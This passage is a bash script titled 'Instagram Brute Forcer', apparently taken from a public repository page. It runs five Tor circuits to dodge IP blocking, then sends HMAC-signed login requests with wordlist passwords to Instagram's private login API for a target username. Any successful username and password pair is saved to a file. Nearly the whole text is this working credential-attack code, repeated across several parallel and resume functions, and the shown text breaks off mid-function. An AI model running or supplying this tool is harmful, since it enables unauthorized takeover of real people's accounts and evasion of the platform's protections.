Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
samsesh
GitHub Repository: samsesh/SocialBox-Termux
Path: blob/master/instainsane/instainsane.sh
4326 views
1
#!/bin/bash
2
# Coded by: thelinuxchoice (Don't change, noob!)
3
# www.github.com/thelinuxchoice
4
# www.instagram.com/linux_choice
5
6
trap 'store; exit 1;' 2
7
8
counter=0
9
counter2=20
10
counter3=40
11
counter4=60
12
counter5=80
13
start=0
14
end=20
15
turn=$((start+end))
16
startline=1
17
endline=20
18
sumstart=0
19
string4=$(openssl rand -hex 32 | cut -c 1-4)
20
string8=$(openssl rand -hex 32 | cut -c 1-8)
21
string12=$(openssl rand -hex 32 | cut -c 1-12)
22
string16=$(openssl rand -hex 32 | cut -c 1-16)
23
device="android-$string16"
24
uuid=$(openssl rand -hex 32 | cut -c 1-32)
25
phone="$string8-$string4-$string4-$string4-$string12"
26
guid="$string8-$string4-$string4-$string4-$string12"
27
var0=$(curl --socks5 localhost:9050 -i -s -H "$header" https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=$uuid > /dev/null)
28
var2=$(echo $var0 | grep -o 'csrftoken=.*' | cut -d ';' -f1 | cut -d '=' -f2)
29
30
31
banner() {
32
33
printf "\e[1;95m _ _ \e[0m\e[1;91m_____ \e[0m\n"
34
printf "\e[1;95m (_) _ __ ___ | |_ __ _ \e[0m\e[1;91m\_ \ _ __ ___ __ _ _ __ ___ \e[0m\n"
35
printf "\e[1;95m | || '_ \ / __|| __| / _\` | \e[0m\e[1;91m/ /\/| '_ \ / __| / _\` || '_ \ / _ \ \e[0m\n"
36
printf "\e[1;95m | || | | |\__ \| |_ | (_| |\e[0m\e[1;91m/\/ /_ | | | |\__ \| (_| || | | || __/ \e[0m\n"
37
printf "\e[1;77m |_||_| |_||___/ \__| \__,_|\e[0m\e[1;77m\____/ |_| |_||___/ \__,_||_| |_| \___| \e[0m\n"
38
printf "\n"
39
printf "\e[1;77m\e[41m Instagram Brute Forcer v1.0, Author: @thelinuxchoice (Github/IG) \e[0m\n" #Don't change, noob
40
printf "\n"
41
}
42
43
44
function start() {
45
read -p $'\e[1;92mUsername account: \e[0m' user
46
checkaccount=$(curl -L -s https://www.instagram.com/$user/ | grep -c "the page may have been removed")
47
if [[ "$checkaccount" == 1 ]]; then
48
printf "\e[1;91mInvalid Username! Try again\e[0m\n"
49
sleep 1
50
start
51
else
52
default_wl_pass="passwords.lst"
53
read -p $'\e[1;92mPassword List (Enter to default list): \e[0m' wl_pass
54
wl_pass="${wl_pass:-${default_wl_pass}}"
55
default_threads="100"
56
threads="${threads:-${default_threads}}"
57
fi
58
}
59
60
61
checkroot() {
62
#if [[ "$(id -u)" -ne 0 ]]; then
63
printf "\e[1;77mWelcome!\n\e[0m"
64
# exit 1
65
#fi
66
}
67
68
69
dependencies() {
70
71
command -v tor > /dev/null 2>&1 || { echo >&2 "I require tor but it's not installed. Run ./install.sh. Aborting."; exit 1; }
72
command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Run ./install.sh. Aborting."; exit 1; }
73
command -v openssl > /dev/null 2>&1 || { echo >&2 "I require openssl but it's not installed. Run ./install.sh Aborting."; exit 1; }
74
75
command -v awk > /dev/null 2>&1 || { echo >&2 "I require awk but it's not installed. Aborting."; exit 1; }
76
command -v sed > /dev/null 2>&1 || { echo >&2 "I require sed but it's not installed. Aborting."; exit 1; }
77
command -v cat > /dev/null 2>&1 || { echo >&2 "I require cat but it's not installed. Aborting."; exit 1; }
78
command -v tr > /dev/null 2>&1 || { echo >&2 "I require tr but it's not installed. Aborting."; exit 1; }
79
command -v wc > /dev/null 2>&1 || { echo >&2 "I require wc but it's not installed. Aborting."; exit 1; }
80
command -v cut > /dev/null 2>&1 || { echo >&2 "I require cut but it's not installed. Aborting."; exit 1; }
81
command -v uniq > /dev/null 2>&1 || { echo >&2 "I require uniq but it's not installed. Aborting."; exit 1; }
82
if [ $(ls /dev/urandom >/dev/null; echo $?) == "1" ]; then
83
echo "/dev/urandom not found!"
84
exit 1
85
fi
86
87
}
88
89
90
multitor() {
91
92
if [[ ! -d multitor ]]; then
93
mkdir multitor;
94
printf "SOCKSPort 9050\nDataDirectory /var/lib/tor1" > multitor/multitor1
95
printf "SOCKSPort 9052\nDataDirectory /var/lib/tor2" > multitor/multitor2
96
printf "SOCKSPort 9053\nDataDirectory /var/lib/tor3" > multitor/multitor6
97
printf "SOCKSPort 9054\nDataDirectory /var/lib/tor4" > multitor/multitor4
98
printf "SOCKSPort 9055\nDataDirectory /var/lib/tor5" > multitor/multitor5
99
fi
100
101
printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9050\e[0m\n"
102
tor -f multitor/multitor1 > /dev/null &
103
tor1=$!
104
#printf "Process %s\n" $tor1
105
sleep 6
106
printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9052\e[0m\n"
107
tor -f multitor/multitor2 > /dev/null &
108
tor2=$!
109
sleep 6
110
printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9053\e[0m\n"
111
tor -f multitor/multitor3 > /dev/null &
112
sleep 6
113
printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9054\e[0m\n"
114
tor -f multitor/multitor4 > /dev/null &
115
sleep 6
116
printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9055\e[0m\n"
117
tor -f multitor/multitor5 > /dev/null &
118
sleep 6
119
checkcount=0
120
printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9050\e[0m..."
121
check1=$(curl --socks5-hostname localhost:9050 -s https://www.google.com > /dev/null; echo $?)
122
if [[ "check1" -gt 0 ]]; then
123
printf "\e[1;91mFAIL!\e[0m\n"
124
else
125
printf "\e[1;92mOK!\e[0m\n"
126
let checkcount++
127
fi
128
129
printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9052\e[0m..."
130
check2=$(curl --socks5-hostname localhost:9052 -s https://www.google.com > /dev/null; echo $?)
131
if [[ "check2" -gt 0 ]]; then
132
printf "\e[1;91mFAIL!\e[0m\n"
133
else
134
printf "\e[1;92mOK!\e[0m\n"
135
let checkcount++
136
fi
137
138
printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9053\e[0m..."
139
check3=$(curl --socks5-hostname localhost:9053 -s http://www.google.com > /dev/null; echo $?)
140
if [[ "check3" -gt 0 ]]; then
141
printf "\e[1;91mFAIL!\e[0m\n"
142
else
143
printf "\e[1;92mOK!\e[0m\n"
144
let checkcount++
145
fi
146
147
148
printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9054\e[0m..."
149
check4=$(curl --socks5-hostname localhost:9054 -s https://www.google.com > /dev/null; echo $?)
150
if [[ "check4" -gt 0 ]]; then
151
printf "\e[1;91mFAIL!\e[0m\n"
152
else
153
printf "\e[1;92mOK!\e[0m\n"
154
let checkcount++
155
fi
156
157
printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9055\e[0m..."
158
check5=$(curl --socks5-hostname localhost:9055 -s https://www.google.com > /dev/null; echo $?)
159
if [[ "check5" -gt 0 ]]; then
160
printf "\e[1;91mFAIL!\e[0m\n"
161
else
162
printf "\e[1;92mOK!\e[0m\n"
163
let checkcount++
164
fi
165
166
if [[ $checkcount != 5 ]]; then
167
printf "\e[1;91mRequire all TOR connection running to continue. Exiting\e[0m\n"
168
exit 1
169
fi
170
printf "\n"
171
printf "\e[1;77m[*] Starting...\e[0m\n"
172
printf "\e[1;91m [*] Press Crtl + C to Stop/Save session\e[0m\n"
173
sleep 2
174
}
175
176
function store() {
177
178
if [[ -n "$threads" ]]; then
179
printf "\n"
180
printf "\e[1;91m [*] Waiting threads shutting down...\n\e[0m"
181
wait $pid1 > /dev/null 2>&1 ; wait $pid2 > /dev/null 2>&1 ; wait $pid3 > /dev/null 2>&1 ; wait $pid4 > /dev/null 2>&1 ; wait $!;
182
sleep 6
183
184
if [[ -e nottested.lst ]]; then
185
not=$(wc -l nottested.lst | cut -d " " -f1)
186
printf "\e[1;92m [!] Passwords not tested due IP BLocking:\e[0m\e[1;77m %s\e[0m\n" $not
187
ssfile="nottested.$user.$RANDOM"
188
sfile=$(mv nottested.lst $ssfile | echo $ssfile)
189
printf "\e[1;92m [*] Saved:\e[0m\e[1;77m %s\n" $sfile
190
rm -rf nottested.lst
191
printf "\e[1;91m [!] Use this file as wordlist!\e[0m\n"
192
fi
193
default_session="Y"
194
printf "\n\e[1;77m [?] Save session for user\e[0m\e[1;92m %s \e[0m" $user
195
read -p $'\e[1;77m? [Y/n]: \e[0m' session
196
session="${session:-${default_session}}"
197
if [[ "$session" == "Y" || "$session" == "y" || "$session" == "yes" || "$session" == "Yes" ]]; then
198
if [[ ! -d sessions ]]; then
199
mkdir sessions
200
fi
201
IFS=$'\n'
202
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
203
printf "user=\"%s\"\npass=\"%s\"\nwl_pass=\"%s\"\ntoken=\"%s\"\n" $user $pass $wl_pass $countpass > sessions/store.session.$user.$(date +"%FT%H%M")
204
printf "\e[1;77mSession saved.\e[0m\n"
205
printf "\e[1;92mUse ./instainsane.sh --resume\n"
206
else
207
exit 1
208
fi
209
else
210
exit 1
211
fi
212
}
213
214
215
bf1() {
216
217
while [ $counter -lt $turn ]; do
218
219
IFS=$'\n'
220
for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do
221
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
222
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
223
224
data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
225
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
226
IFS=$'\n'
227
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
228
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
229
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
230
231
let counter++
232
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
233
234
{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid1=$! ; #;wait $!;
235
236
let startline+=20
237
let endline+=20
238
239
done
240
241
}
242
243
244
bf2() {
245
246
while [ $counter2 -lt $turn ]; do
247
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
248
IFS=$'\n'
249
for pass in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do
250
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
251
252
data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
253
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
254
IFS=$'\n'
255
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
256
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
257
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
258
259
let counter2++
260
261
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
262
263
{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9052 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst ; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid2=$! ; # wait $!;
264
265
let startline+=20
266
let endline+=20
267
268
done
269
270
}
271
272
273
bf3() {
274
275
while [ $counter3 -lt $turn ]; do
276
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
277
IFS=$'\n'
278
for pass in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do
279
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
280
281
data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
282
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
283
IFS=$'\n'
284
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
285
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
286
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
287
288
let counter3++
289
290
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
291
292
{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9053 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid3=$! ; # wait $!;
293
294
let startline+=20
295
let endline+=20
296
297
done
298
}
299
300
301
bf4() {
302
303
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
304
while [ $counter4 -lt $turn ]; do
305
306
IFS=$'\n'
307
for pass in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do
308
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
309
310
data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
311
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
312
IFS=$'\n'
313
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
314
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
315
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
316
317
318
let counter4++
319
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
320
321
{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9054 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid4=$! ; # wait $!;
322
323
let startline+=20
324
let endline+=20
325
326
done
327
}
328
329
bf5() {
330
331
while [ $counter5 -lt $turn ]; do
332
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
333
IFS=$'\n'
334
for pass in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do
335
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
336
337
data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
338
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
339
IFS=$'\n'
340
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
341
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
342
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
343
344
let counter5++
345
346
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
347
348
{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9055 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst;kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; wait $pid1 > /dev/null 2>&1; wait $pid2 > /dev/null 2>&1 ; wait $pid3 > /dev/null 2>&1 ; wait $pid4 > /dev/null 2>&1; wait $! > /dev/null 2>&1 ;
349
350
let startline+=20
351
let endline+=20
352
353
done
354
}
355
356
357
bf1resume() {
358
359
while [ $counter -lt $turn ]; do
360
startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
361
startresume1=$((startresume+1))
362
IFS=$'\n'
363
for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do
364
365
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
366
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
367
368
data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
369
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
370
IFS=$'\n'
371
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
372
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
373
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
374
375
376
let counter++
377
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
378
379
{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid1=$! ; #;wait $!;
380
381
let startline+=20
382
let endline+=20
383
384
done
385
}
386
387
bf2resume() {
388
389
while [ $counter2 -lt $turn ]; do
390
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
391
IFS=$'\n'
392
startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
393
startresume1=$((startresume+1))
394
IFS=$'\n'
395
for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do
396
397
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
398
399
data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
400
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
401
IFS=$'\n'
402
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
403
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
404
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
405
406
let counter2++
407
408
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
409
410
{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9052 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid2=$! ; # wait $!;
411
412
let startline+=20
413
let endline+=20
414
415
done
416
}
417
418
bf3resume() {
419
420
while [ $counter3 -lt $turn ]; do
421
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
422
IFS=$'\n'
423
startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
424
startresume1=$((startresume+1))
425
IFS=$'\n'
426
for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do
427
428
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
429
430
data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
431
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
432
IFS=$'\n'
433
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
434
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
435
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
436
437
let counter3++
438
439
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
440
441
